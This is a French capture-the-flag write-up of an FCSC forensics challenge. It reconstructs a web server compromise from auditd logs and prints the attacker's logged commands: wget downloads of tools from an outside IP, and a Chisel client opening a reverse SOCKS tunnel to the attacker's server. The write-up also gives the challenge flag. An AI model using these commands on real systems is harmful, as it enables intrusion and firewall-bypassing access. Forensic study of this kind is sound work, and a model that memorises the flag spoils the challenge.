Nous utiliserons la même méthode de fusion des logs que pour l’épreuve précédente.
Nettoyage et fusion des logs
Avec un premier traitement, il sera plus simple de visualiser les commandes.
Nous allons donc utiliser l’outil auditd
, ausearch
, afin de rendre lisible le champ proctitle
et, pour simplifier les recherches, nous concaténerons le tout dans un unique fichier.
for logfile in *.log; do
echo "Processing $logfile..."
sudo ausearch -sc execve -i -if "$logfile"
echo "--------------------"
done > full.txt
Recherche de commandes suspectes
En cherchant des commandes utilisant l’IP du reverse shell, nous pouvons trouver les éléments suivants :
➜ linux grep "80.125.9.58" full.txt |grep http
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:51:07.966:2918) : proctitle=wget http://80.125.9.58/cat
node=webserver type=EXECVE msg=audit(13/06/2023 10:51:07.966:2918) : argc=2 a0=wget a1=http://80.125.9.58/cat
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:53:00.058:2930) : proctitle=wget http://80.125.9.58:80/text
node=webserver type=EXECVE msg=audit(13/06/2023 10:53:00.058:2930) : argc=2 a0=wget a1=http://80.125.9.58:80/text
node=webserver type=PROCTITLE msg=audit(13/06/2023 10:58:23.870:3009) : proctitle=wget http://80.125.9.58:80/text
node=webserver type=EXECVE msg=audit(13/06/2023 10:58:23.870:3009) : argc=2 a0=wget a1=http://80.125.9.58:80/text
L’attaquant a donc chargé deux outils mais utilisera principalement text
.
En cherchant les utilisations de ce binaire, nous pouvons identifier la commande suivante :
➜ linux grep "./text" full.txt
proctitle=./text client -v 80.125.9.57:50012 R:socks
Nous pouvons comprendre que cette commande permet d’établir une connexion vers le serveur de l’attaquant.
Chisel
paraît être un outil adapté dans le contexte de piratage d’un serveur web ; les flux HTTP devraient passer les pare-feux.
Le flag est donc
FCSC{http://80.125.9.58:80/text|chisel}